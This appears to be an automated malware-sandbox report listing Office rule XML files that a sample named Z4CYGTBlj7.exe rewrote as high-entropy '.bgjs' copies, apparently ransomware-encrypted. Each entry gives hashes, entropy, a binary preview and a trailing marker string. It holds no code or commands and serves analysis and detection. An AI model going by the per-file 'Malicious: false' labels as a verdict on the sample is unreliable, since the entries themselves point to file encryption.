SSDEEP:	96:TasNDWk0w6RhLROAKlfT5/vy6sKskeM7PxFNgvQ9AFfDqMCN4J+:lJWDLlKlr5/v7Vs0xFN2YGfYo+
MD5:	5039490966E84C74475622CA85495BC1
SHA1:	BB272F88157815FE0E3B6791557AB4D2E38717FF
SHA-256:	1D811566A37363FB1D3C66DE2D2F8D810ADE23A8D707DD524540A9D480591FD6
SHA-512:	FC7AA782D9ED18D7284D84A0795C984CB712FF616D4E0582A0662F7FABFAD65BE7B783DA1B9F5FBB3A867BC1D55AC5B1AB98758A823F39CA94405204E613746C
Malicious:	false
Preview:	<?xml..../....0..1...@..p9 b...-{2.T.....ZEBp.....\..X.eY.c...-...'XR.Y..W.>c^.Gv...c....r..W...OH......0..M....).pQcZ..."....zLC.Lk....0.^.W../.bW.K..WB..i~..........y.0..........2.i.N..../_....I.>FK.}.\|..o.[I.....~...<"..>............H_w"n8..)..3l.....^t..yEO.......k.aG./S.#m'..%.......;).V..k..J..%4.T..i.>UY.n.q... .....(.E......j.\...:....i....X...i ........U.......t.Z.S......q...../.\|..w.....\|.&.Pc......J..c.4.]v...~F...]......[...y(.....Q.U^..m.F.s..t%.#.....r.6...X...bXn!.]....G.'.....2.%.....`.....k.zTN...=.....].0.]..I.tM....#...EIW..o.Bj.......+8t..;..S.x.......W......b}x.O...........K.:..(...5...#.)3.v..WH...9_8...n.%..$.b.....u+c.I2.L!q....kC! EU11.Wn$..62m%..n....{.1........(........rz..3s...JN.......-.=.x.?.<M.q.o.E.U.F...o...rX".. ..>.D.T..LkM&.Yb{_....H..6.c.......W...bt.7..uh.....Y\|.p..T.=_.\.Zv..rKo..d...o.J*..a...Br....m.gY..K.&...~7...{..$....?-..UN.T...g..;~.......^.....N.h.....U.....p.9.p.......E7-"...........`.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975187674594728
Encrypted:	false
SSDEEP:	192:BS45BDkGSJ1uKZ1ukgtDGN/YqNlg20yWaP8GUbEh+:YQIGwuKu1tKjrTrUb5
MD5:	AB2797721F506C517C6E2758C3CDF17C
SHA1:	ACB75D133EF7AFE160DE18DBDEBAB533875B4197
SHA-256:	7349C530A0A4FC6CF0825DF774FD017D56D216929B9A6420F64DBDBF155B20E5
SHA-512:	320942619D60523F6BE9467CD5D5CEAA184942EBBF3D4ED4D8CB9C91355A5DCFD875DEAA9BAB6C9C15D94369CC546358346F7907E963B489A87724E9071AB39E
Malicious:	false
Preview:	<?xml...6uI....zT..S..k...N......-..u..#....r..M.9u_6+<.b.....)......lW..mg.6-JHY....m...\|%.4..F..s...u..U.h..ni....2....&W..m_.....a.'a.r..^...C..MJ....u=!n....r./.n......>O..@ZL...WGEC.._.............6J.X....a...;J.^S.T.Q......w?..1....!r.e3)....;...nU..s....K.....H."b~..k.?..\..hO.T....E.`.H.g.v..-.7.).....\]....n.Xs....3.Si:k...dX.....o...^v\|.}...Trs..{u.......uQE?....9qVp..... .......%rN.C.R...Gj......}6..j.+..1.=..3...d,N?.2..A.dfT.H.....j..9H.......>q..7B1js.U+.6-..N.pg.m...?..dZ....Q...].#..{.#(...@.>.4.XV..E;.&...C.Kl.\|@..........+......K.R...O>.Z......[J..._....`:..o....?...K..K.u.`...K...V"_m.F5.L...S'....w..v.'+...7..b../...n>....Y...^wIi$..%wP...Q+c.......e...9UV\|i.!.,.;./......m...s..`....FF.0...a5..5..@.iL...VaY.....Nn..w..$...rU.(...8.D.rs..EJJp.5..C."m.v............c.....S....\.~1.[.....8.q...X.S.h}..h6.dv.E..5..W....a.......w.)..-P.<...@..WP8#... I.k...s'..?.>Z.x....!..W.x.F.....cK'.t...Y(.(iE.Geee..t}.....!I.^.X....m..@G.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.9390317558994346
Encrypted:	false
SSDEEP:	96:y5xx/M9UJpO3EFmls4gCKDQKMS0BDGWx4g+:y5/hEgCkUDGtg+
MD5:	36C828DFE308AC3FC34BEA258056DFD3
SHA1:	97EF1E89D64FD3A5D3FD4C1323E483992DE57C8A
SHA-256:	3D35AB4306B7DC258D842AB49BD2CE6C0E5F8A70644ED84B70C78BA917EA16FF
SHA-512:	4638DC96CC9786DFBCE327ED5007831C167B256D812E802917514B18F66548A0DB35089A94996E92A85DB079735E2EA3DD0CB99833ED515141FB9CF206C799FE
Malicious:	false
Preview:	<?xml.....Qa!H......^....;...5..2^....}..R.I...KX]...$.V.....r[..sgz~..?...^{1/v.Rg;4..,3.vdR.`.).......:#...........x..^..Hx..^.-.&.jP?3.w.......l..G..c....0..\|....j#..i1.`.u..h.}..L.$.c...r...2d3Z..;..&7v...h.L.#.7.a./..5e..x.}q..U.R......BO..........n.3.S...~w.N7..7?!..6..t.u...CI. ...zO.`...`zr..o.W..q.Se.a..f>n.....$..A..O..........?=.......Kul..B.sm@.t.-.......k]b-x'0J..O...KpF...+............n".Sc..E.Y..P.g..........{E.hi...Z.v.7.c.2)R.8v..... .f.N...2.31B.....3..Z..?..][~..Y....<..'..#.].M.U..$8..m.-+].r....(,...pAY.l...#weo......\|s.=...d.vvx........4N..#~!s..}....(t.n.L<..Sqg.7....f.#.{...N%.!.9.\...}.&..\...f...rc...%..z.......2...0YNm#......V.Q.7....*.......m.$.K=....6,.....m.5d....uzX.\.....G.......N...`^.9I\v......Q.....$S1.o./.ZM?...Q.CC.A.S..n....E.k'4+.R...D<...M.m...:1BER.......1Y....J%...j...h.o.".&..M.A...I..b 4R..}/.`.....b...j.L.H...Q.........]...b=`...s..?..u..y0..>.(...W.n......kT@..~."...&...$....jSG.U

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.950253522038427
Encrypted:	false
SSDEEP:	48:yqJZUUEDXJNP4pqNutGrIJHjVFVhGgRv1/yXo+lodg//p+aFoz6/y1wpMEdrud8Z:yomD5NPrutjteUvxslkgZ+ahS708pV+
MD5:	9AE54A39568E77CEF00AB1F04C6EFF73
SHA1:	4C0C5AE2AB5EB885ADC7A4CC9DF20AC487DBADF9
SHA-256:	052271C50C6E872B0BEC3980347BF62BE8D6FA0826687431A02E63667510A47A
SHA-512:	299A33D1BAE5CD3BFC597A26B97BF6B4F5F77BF09D63AF7FEC70C70E6CE150BD20556AFA6623794A7668BA9EE09293054949C990FBF17C36643D2AF167DB2D19
Malicious:	false
Preview:	<?xml.G....W\._m..^3...Vi.....2Im........K.d.........e\|A...B..F...l.p..2..r.=0..[..p.r.L...X.i...#.y.Vx.(qqL8.#..?.>.43]....S+q.g.jI.)..+iB'Z5w.U.,..7.'e(D....Eh.X.......k/...q.#....Z.9j.v...?J.=c>...a.qvk...\".4.e......2z4.{6...3...)..fS.R..K..-....X.!....1>.u..\|..,;........HH.........l.\|.........(b4...=.S....._Zps.7.j..{...i..x.`...;zq..o7..~H$.V1..ikQI............%.9~.@.V...;...&....C.X.......T.....u.i.#z..z.&2@...9.,.....GVs........(K.\|.H..... . .Oo.ee.....aC.4..x.<k.f.....d..aC...^Ga..\|.w.:38q+.x-...F..s~x.F.....K!..x..K..,.j#..Z_y..&.${{=.._......d.$}X-..P7.iF.N.k.C..0uQ.K..M.V..9...<...+.g.< ....o.A....$.....:`...n;f.r.......-...}....`.)]......q..#.b..B.9..A......pS].[.\e.....5..(.r.....v..Q....Q2+...p.....)....]m...yB..t@....p..\~Pk.'.p0X.j.\|.h.........r5..".Z..X...D.8bl:wf......U.._..1O...s.%.:.)...91....(..5+.K.*...zxg..;...R..w.d.+uo.k.=q3../..Hkw.{N.E..u-...K..&.;l.v.....).R...W_!...2..E^z..\....E..b_B........da...a....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.932428192131283
Encrypted:	false
SSDEEP:	48:9g10dFyCQ8ElhgRR32IX0egVdDnUBVCLFxuKPvx9jImEzr5ACBaJAgzdnD3BZkCU:C10O98ai33rX0e3sx5PvTazv4J7zdD3Q
MD5:	17B97DD09177822F96D3E3A0926BD55C
SHA1:	12DD4140890F5ACC3F6702E94449F123F781424B
SHA-256:	5A575EBB3FFE0D857603E061A72136F24271AEBBD7E00E1FA186BEAD1E78F578
SHA-512:	BB5A98F4CE9BC96A4BC3433640F3CD95892B7A005F2D758AB4767CC420FE321995404DBB6DE6209E045A361A947FAD3509BC7A52CD012719BDDBFEE855ADDF77
Malicious:	false
Preview:	<?xml....+.R..r..Lp..z...u..qZ<.O.[ ......1.........b8..O..%.$G<h..p..V...H..{....D=...A.o....~c..D.=.w......>z.:gtk.t]X...s....\9...7..n"..U.."'Z........(..~.P.......0....1z.h.'..K.C...e~.q.Y.......y..K.........y...H{.G.!.mb.6.R@.....}...%.j...Q.3@.>&.,^L-.W....2.i.i..0....i85.A.F..4\|.oo.....c....R.x....~}..~.(.z.....^...;N........o....x".f....0N.3+.kl..U84..A..C..u.)..J...wpE.....<..$....../...=.q..'u....S^}.Uen.)...1.S......1....../..-u...>.:.".^x..q....d.H..N...d..y.u%...v.Op_t8....%..."f.hA.ly.s1Z.. .....;......b,.u.4h.O.d....{[.&....M....k..............@_{.:.;J..I".ARH.d.Q.....-....i.a..F..TEa.@T...U.D.N.&.@...=j<...!p.#.%..U....I.S.....`....9...X.8hr.Niqu..v.Y.N.HI3....-..a{D.J.X..K...B.d...4...5.21..9.G.....A....I..@.(.2.........Q}.z.."l.M......_0b..&..=.x.~.?...a%..j..!\|.3..(n{.....+.l...._j/h.gL.2F..A..UEq\.3.......:..:e..9!..e.."......Q.f.....$.v.......G...KZZ.V..<.*.C....?:....6...6L..&Am.,X..W...q.@.s....Q7..y...b..(C..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.919517163521386
Encrypted:	false
SSDEEP:	48:AVwepepmDj/kASpcdc6WOjOStwI7ZxrSY1B1c0fp/ccgmD:AHpVWPq7jFB1TE+
MD5:	168A8B06487BD6937E7B3D650E378AA9
SHA1:	9E89771BB97C640924076107EAE2043CD8D51E87
SHA-256:	41A1C86BD62FA14DC515259129A844C124A74D0750980845388896AEFF3FE360
SHA-512:	3D69D1DA3279AC697014073FBCF30FC3D712578EF643A4823118C83AB2297486E92B4C64C9CF4579A5296ABF0172E63DA214D9E688310D0BF542E1C92671689B
Malicious:	false
Preview:	<?xml.^y....k.`.'.zo....\|...6.1..>..70\/....=Q...g\...fS..5g.[:?.d Z......).....W.@..;J%.. .`..i...kn...Q...&...t..p....X.R..........a../L.M.....v.....H.U...n..)..e...jg..[....>....x.g...L.H.9;L..K..T...........}.^..IdUcTO.gAN..k.S.R.3..y..A..o.\..7.....a.D.(.1^...B<..j~E..;..1MH.\.0..Y....<......(..g.....n....V..%.s.....2.a........].R.?.0...v.z\.H{...nF.......n.6.......a..u8...f.:.c%/..x..e/".....+d2 `",...\-].B0~...'..@.....e...D4...P..I...B......$6hBU.Dh.....p$$.h...PL..^Z\h.d.n.KW..2"s?..6.X..G_.h.R...W.Q...>..PH^....&........=.u}\|.?.t......ioO...%..8......r}/.V.+...e..`V.u....6....X..=.=......k[.p.e.%....8.._......N... /..A...V.....c.Y.!x..E.$.v.,.RX.5co.C.......p..:..t.....OcK..R.Xx[bC......X.A.....;.......<R\.......&.js..Fls.......5.v..L....s#![......-!....w...8....].B........-.[.6.o@..]..g..{e ^...~....J.M.......^..7.....U...V..f.....Z...F.x...V.\|.....s....Q[."#.......V..YM..vY..$.N.v.....o.+...fJ....x..?..oi.1.A.<.a...6...u

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.718467627526191
Encrypted:	false
SSDEEP:	12:UfNH6IZoPabd9k69+9z5Y1DoDmG4wL2Hkgy548DNqr9G41uAj2Qscii9a:6NaJabfk6qyDoDmG4wLXvJBqr9G4IMsX
MD5:	9E34174E1610C85963A2E7F479B48C12
SHA1:	5F3333BFCB930D2853846D58E23722540C4C966B
SHA-256:	2FBDF3EC308C707AB5D17DD4E476FFE68655284D12CDDF690DD76083C9D64BDC
SHA-512:	AAD5E7388B7ED0F549B5833D97C5834A7778B01E4D9E28E746934513141B058BFAF0202BAE2F224B3FCBD740CF23930497F62FE4DAF214BA01E7F4B9797DF125
Malicious:	false
Preview:	<?xmli..L.Pv.%....q'..F.....b.qT.{...$U`o..\|...S.H.B...S/...Q^.....X.agbB.<".*.,@.:nn.\....Bo".,..W.X>[@..~..>.....bl............y:.y..6.f(.gV.z.I....K..nB..o#+?...T...x..t-..P......[..9.d..........n@!..=..#....p2.X.Q......4.s....s.s .!tG.+T.V......m...c..Q.yImd..B,}....y..........-O....#.'..m[.{}..2...+....XE.TI[.......U)i.:}?.....X.a....OI'..2..6vEu......j.I0<.a..[6@....R:4j!.=.9%./=.(..H....,3s......S.:..B.p....+.\|.@..V..zuI.!..X....L..64.B..G.!D%....p+.....\...j..l..N..g.,f(l ..]au..e..r.....q.,f..".w...<J...85...:"..y;.;..\|V.>.I......(..Dk..g6....!..zme.h..'(Tr........cX..c'G...q...Gl..>#.n... ...K.`Y.k`...9.}$..g4{.,e..._8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.834004609207697
Encrypted:	false
SSDEEP:	24:VstmDfOX7m2OWLg/N7rTmXHFhuWjCM0pQyr8wBusbD:yYmSp3mbDyr8sumD
MD5:	88BDFF0B6AC7634F057F2936FE99925F
SHA1:	F66CDE90045FA222635EB6D4056BF00C5E1D0053
SHA-256:	B13C0E397145A30C091507EEBC5508D5014F12E3C176A82677741633C3F3FE83
SHA-512:	DBF79915E28ECFB580DE393F214F4C06C729FFCF1188D830B47627DAF2CAE1B4839D353C9F8203302D41D1BF418D04196562EE70106702D1DCAC47F8021C4E9E
Malicious:	false
Preview:	<?xml.O...g.;....P.f.IB....m ../..g&.LPh...V4.].P(.>..p....1a....\...........:{(..F_\..ZQ....CI...Co..R....."o.._R......x........{..]...\|...f.O...Y.......VV.......$.X..#......VA..1$e.FN....}...t.Q.`9OA.4Op.s.H..E....>..%.f.\..7....K.%.i!1/I...r.3..q'.z.nq.6...K.&.w..U....\...v..'.....#..!1....u....hu.yXEE.W.j....,.........s.......B..9..{...)..f`CqN........p.]9.&`._;@{.Am0..v.6O5.=.....z..l.T.....".=...r..y.'....E".<..YE..z[.....ik.b7g...c...l.....X6....D.(vZo..... ..k........:pg.qHF0........t.s...@v.Qp.V....&C.'.@.....LOsYg.+....U.......m.O..9.l...:2...0....Q.....l......R..R..$.b).....%...C..SI..w.9.iB.f..d...K.)3..(..<..qi..L..........tI...aQ.a.n..:...j.....P../.J...}.6.D...j..U...y...?>.STF...Tz.c.....'5K-....vt4./.yT.4{.MHi^.m.eqQIA............6..:!.N...I.-w!D\..Y......aZsp....o..p.O.y....tqG..9....9z.B#.q7'.....'.hw.THN.Q.Z.....NV.ym.l.oe4........3.."...}.A3.j.E..K\|.Q..P......\..\......K+...<..A....^..P`.m.?..!.b.Pv....h..L>..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.571272589331152
Encrypted:	false
SSDEEP:	12:krnA49RUyUgBrNZ6crXUBglOLsdDbLESuQscii9a:AA49qyhz6lP6Dv/fsbD
MD5:	00E0D4032E90CD3F872DC9E9296621F1
SHA1:	834C388919BC45DB9E3E9995374281E3EA7DBFB7
SHA-256:	E446072CEACF8A3857AEF5AA17695874195C173EED46410D85F4A63CF2E2B243
SHA-512:	07140DB95B3EE9D4E84BD788DB6E62E624F480F4D68A7A381E52E83366F97F7B310D42FEBD46A95A65516F3BFB099A768FE8A2446CA9972327963845E277A80F
Malicious:	false
Preview:	<?xmlT...E....:^Y.....@...E\..>....]...f....9^...Y......X.....].W.;.b.H.&.p!....DY....T...K.w...%...[..P.O....0....LQ....d..A.'.+....l4.(...>b.... ..1.."~bu..i..QN.b..Z...=.v...p..~-._.9b..Y...VJ@`.&._..#{........(j.dB..6a =..u..=.g..M..l..i9...#S.{...#_>g...../.....r...v....0.X5T...}A...d~...*..t.oa.\|.}..\..a.....0..?..FFm.I.&......]...EL}...sxx..].87...G..d...T3>.\|).,.&...x._l.......$..u8..3'z@.......5.y.~.0...,...f&.p...vs...H<.l...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.934436634840901
Encrypted:	false
SSDEEP:	48:VI28aQ6D5NdbnbqTbH7dYwYBzjo9yk8OdndnHw9zIdoGLgEm0Zvt6mD:J8af/lKHhlCFODHXdoGx/t6+
MD5:	805EC96ACB348E7E95D622B8F61C8518
SHA1:	CA5394A404B550B84C387DA204409D358CC0A431
SHA-256:	DE830A551EB7A7096F4338063A23774371F37485AD81445EAB8DF6248DE939F7
SHA-512:	85C023C0990913A7AB84F2F7B3EAAA3857D9ACC2ADCFE075C81E7B5921FD1FCB598AD7EE875FCD21D9F43DD6330601ADD0B0C058CBEE4D2F2D19111DB50AF015
Malicious:	false
Preview:	<?xml\|s/.R.... 6....X...].N.fbmy_)....N...<..h....aW5...AjF.Q..J...z...Zv.b..a.HV9X.C....N.{..2:^8..I.............=.-i.P.nR..UJ.g..]..M.q....."/ .....4@a.(......Z.....=..=.........`...?TA.X...^YJ^@A.tb..w....R......Y...J....F.1......J..oz#.&.U.a0.F...).......F..D.....U...L.j.=...............{.....ZA....C..1.X..>...ul..T.........D.$...T...#.3.....D...uE...R.pMX..q(.Q...0.N2.@....:.#2.....~tv..?`..'0........oX.wR....2.?..c7.A..8. ..H@.\.....@..i...W.H.5.R..q...A?......}xy. ....wU....e..$<..P.4L..j...g..A...x\|>....Cn...I....Qe.D..[...P.a./.......ZZ..<*....7._.............4,.c...~...BE..Z...\|..J....x..4c..$.....u.!......9j...'....{G.<5......G...Y....&....u....Y>..........l.y.$<p.:......W..'.8......4!........gZ>`$........r.!....t..1.. .mv u.....Jy..p..d...._.v5..r..G.{.o.>....".........{=7..)N.=.iX....n_......OO.w...)..s.c.k.=.,jE.8j.].eDw....Qs.......<B{.........y..Y08.jy.....QZ)G.[L.Km8h...n..P.....j.Er....`...=]...A.zo.h...w.....\|./.4..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.746800341338331
Encrypted:	false
SSDEEP:	12:Rao6vS/HGHpcCdlr+AE5uvm3be2lDbUORxPkz0tHPV4som3+DFGa7bbZdPK/Qscq:RaIQbdlr+IvGbLlPUORxPkYtvzb+JGaK
MD5:	AF928681DF666CF5987B4A4B1191736A
SHA1:	D9447826C1583FDF941056D9D4FB10580C57C02D
SHA-256:	839C7999BB81C7CB938C9831CA44A42BFC8A5B36177C19EDA48D4E03D5483C47
SHA-512:	EEAD42F9167D47EAA1F5CC73C1F6AA56320B6F95DAAD2AC12401395E6553F0621474D1107B332FBDF27AE9D628023698218754199CEB47F363F2494A44E0E624
Malicious:	false
Preview:	<?xml..2...:a.$..+...(.f.},.j.k.q........I.L..x5...P....E...^<.s8..;.....b...Z.^.hL....tSU.u..p:.{~ !... MQ+..[e......kb.5l...f...._d~....Z1..k.G~.........W.v.......L).......f...}....A.H.D.z...:d.=.'.....9t.o..o0IOsID.2)z..:+.3..._..#J.......!...K....y..s.1.I........#.9.F.y...Af.Yd...n..;mmKF+...9.,.....5...h..Y9.r.`...'q<e...p...:.Su...ypA.Fd'...V....u.F.<..V.R.W..ho/D.9{..9..=...<...MK....'..T.4........~"s....[....g.W..9X...UG..Z....qs.(.>X.G...Vr.\|j...[.yI.>DJ\..B.9E.V]/'...\|.J...xI..d../..}c.j..:.v...%0.X.l.m.yzM..&.%..]_..**.!.@...\|.........\...5..un.E@%.7..ei..L...z......+.%....w.i.....w.Zn..].....0......r.....p+7....a..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.736245279263684
Encrypted:	false
SSDEEP:	24:QrOcvNCrQLKWGbkMs6EaKr16Td57vlrtsbD:Q6KN5LNGbM64Or7vhtmD
MD5:	0E36E967EED9DEE0B6B06A6AD07E87FF
SHA1:	3D849295FE4B7AB4BA2FBDA729B06B53FE311F24
SHA-256:	15FA8A4A8917BC9A502A11F082E49A3518485BE1616BB3E04C5BFD98117147CB
SHA-512:	ED2821017093021A7EA92CF2173D9A68AF0CFB4CD55C176341D8AFDFAA7832BE38677DDAFF9A8CD12FBFB1B8F811A1F64D76A5AF615051A738A351A7B5270B40
Malicious:	false
Preview:	<?xmlm...eaq...../.f....#............5.s.Y..P.=`......\A.%.'.%. ...`.....I..b.3..z].".d....n.T{.n..Q@z.\|[.0....%..?/s.(:D..Ut.s4p....-v....^.(....J..&\|.@...4.>....S(h!`GS.?..Y.^..Z."..Fq..c...?;..n.......u................[..^.&._.!av.+n...(.."......f8.....$X..i{\|.?.NI~u?.w4s&XH[.6.g..;.F....;.\|.....,....w.7P{.if...S....?g..>n...w..34.u0....o...J.o3?H.1..q#.._.8+..1.K7.......pI.w......@....VL.>.u;w....j...z.........<..<...S.'q...!.!.>.k_T....]4....?+....+..t...]..,.[/...^..2....^.. .I...F.......0..F....a0=..g%X..#.8....q'.F.d/.r.... 4.]......: .m.U.....#.`.#..k....C9.ag.D&....R..8.F.a}...T..>..6s..tU..YS...L..Q.....o..R..[..W..+V/n*......7.m.q.f......8...#C..%..S.;.Y.".0.W9.M$.4...WZ8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.721170425334772
Encrypted:	false
SSDEEP:	12:C2OQE1/PvVsF9DT6DxHx+sjHjo7yIgodW3VOqCa9yaS6ZnhJo84VHQscii9a:cQWPvwJ+YT4QZa9bZfomsbD
MD5:	F1940D9DED4253B0FEC0C29BFC829EA9
SHA1:	54A45FF10E2F5FF968F4ECE219A4A10CFFBC2D61
SHA-256:	5809DFFC0A1E20A343BA620C7717C29B07AAD6F31F92F188BBABADB48632911C
SHA-512:	076CDB743AE5BC8A4CED609592FF140C9A0F8C87A46C2EE347484AF4F763FFACCA7BEC69843FB21B762CABA01CBA59881B1C49EBAB7FA5858AC96A450DAEEAB8
Malicious:	false
Preview:	<?xml.o...........'....i.^lyn.h.......A.j4....22VY.. 1..sj...J....].;...%.W}`...4........;.....-a..$....n.d$..'.JB.s..a#..Il.q.g\|>....u."dA\|...R.(....n...z.).......Ee..T.\|a..Z.p._X.x....\..<.&.8...+.NTp.2,..$...0..r"........../......dX.f.n....Q.3........m.........^9...>..XM...q.....#..f!,...o.U.}....../...'..-h.....>..R.6.H...hW..QM..0!x%C..M.?y.......g....sg..F...=..g....om.}#^v.kl...w........6...-I\|......\|.8.H5..y#.%...W........&{...P.BS.d..}..AI..(..?P.~.t@.j.p.+X..gg..4.....GG.e.....,..R.q...{3.<K."n(Yvy.G....B.B1.y.......{.Ed.<%..5&.]1$MMx>..=`.E...1.Y..t>T.Y...aX9.~..;.... ^.M..z...d.....%."....o...,....)7....8K..MQ8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7325883794367565
Encrypted:	false
SSDEEP:	12:1RbDaRKlVSwM4st/EIztdJOpZt++B5gxOieGGgAL8D0r6l3Jo+VkOIQscii9a:HbmKiwC/vRO9vBSxO3eAL6bl3q+jsbD
MD5:	194CE56B5CA775D427660E7D35494C75
SHA1:	7074CC3ECA997973BDB11EB702EC43E9C505E24B
SHA-256:	33AD69857A3A3CD8A34CD40755DA84E61D9C1A8FD6BE8F9CF7B0D6B9BB98BBF0
SHA-512:	CAA594929EB28910682FEA1D2FF8C801B67CF1F9EFE22CA0E99BB140DE35A58F518F31C52F8A7BD1F8E20E5C395EBE76AA562511BB8E3B707BB51FFB59547DFB
Malicious:	false
Preview:	<?xmlt.W.Fl..,M..Jz....#.kj...l.P.<.sAd.:D94>.>M..A....1N.ec.....Z......;[>. {..\...R_.X..U4&s..Z.DK.vO....Z..t$..*..P..eo.>sw%7..6..K.`,qz..J..l..]..,Q..x.R..CI7.K...}.P)O..)........8..."..%O......<. K.<.........!..........}....8p.B.T........^,'=.4]..3....b..=..X'...;.p.{...6...4.....}..>.@..._v+.."..b2....;O.J..J.T\|f@....0..8ELHD?,D....=...^.!..."..M...$.py.G........;K.u..h...R.j."V.\|GB.<?...c5..y.WX.6..A..E.%...;.'V....3{..x.}...hq.;....BXp........c.6.(WB......S.Y..4pk....N...2b......(...x....c....^4).....9..n..C......X.."....J..`..{..]..cZgJsK.;..P..@..x....y.u.F.>2...#.P..9.-!...`%g.9.:.SK.%.&.RC_.^."5.......[....q...yGn9i.....1...-....6.~..^.2....\...X.x...t....oSt.C...W..?Ib....F+o....o.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.755062950055727
Encrypted:	false
SSDEEP:	24:fVZY+vJ4VCyqw5RqiqzDvCn8avvQUfsbD:fjtvGVCyqw5V/gCmD
MD5:	CF63F1C63E1B6C84145586CDBB5D803B
SHA1:	F25D09B9DF24452B7F7340D13185862FEDCD0DAD
SHA-256:	D75C69AFF3EBB00F6C35A332D1AAC1BE0886BCD9463CAA797EC8BCF0CC3AC965
SHA-512:	8FA0593F3687FAD953BEF2218A428BF8813D1942B9369992049DD566D8BD2DD5D5419ECAD31C14066E24F4CB2F77A77FF786FB83BE3989ED9086FE3D6FCA5736
Malicious:	false
Preview:	<?xml......./...~J..{..n.9..8}....!:..V6......W.&..k..bu.&..{B.+.....(ep...M.Y.[[R..B...K...4.2.\,."....-.fJ..c.i.....n5".Y/.G..so...}6.T.N.K.\|..\|=F..2!.T.C..?....Z.(..).P...[....\V.56o.........t........ .....Y5..X{.....vj....%`T....?..($~.&.....7..NvE.......&z1.2)U"......e1.....)...j5.n....H...v.8r.7~.4.(.z?.s.....z_.w..\w.iE.4.j>a..HPy..5..N.;EDV6.......'..8n.3.N.qL..C...w.~\|.s...Q9Z.....L...f......g ....T.Ck...zRh4.i.>e.Z....N....kvh..v..7MI..Y.c$3.i..Y.W....I..K.7....,...N..P..j..av..#....}..o}.jH.7.V.../...5.!.....Xj`.....?..K{..K->.bX.t:v.bR...l.e{D6..\|.....m..Y.vnGc>9D+...d$..,U.u.g.E.q...:.X.n..IJ..Dd...@.$.S..k\|.U.-.<......L..2[..W...>.Q..."^.>..F2Jg.]..v..t<..iX.S[.C_oo..Z..@.E...d._.=....r.o...L..M@.7...n.u .\{.KMSte.C.pD....5.7T..w.X.-........._.m....1/{.)...;(.....?=E.z...e..^.f...79....~wZ.Q.g..:d...........*..j...8...t.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

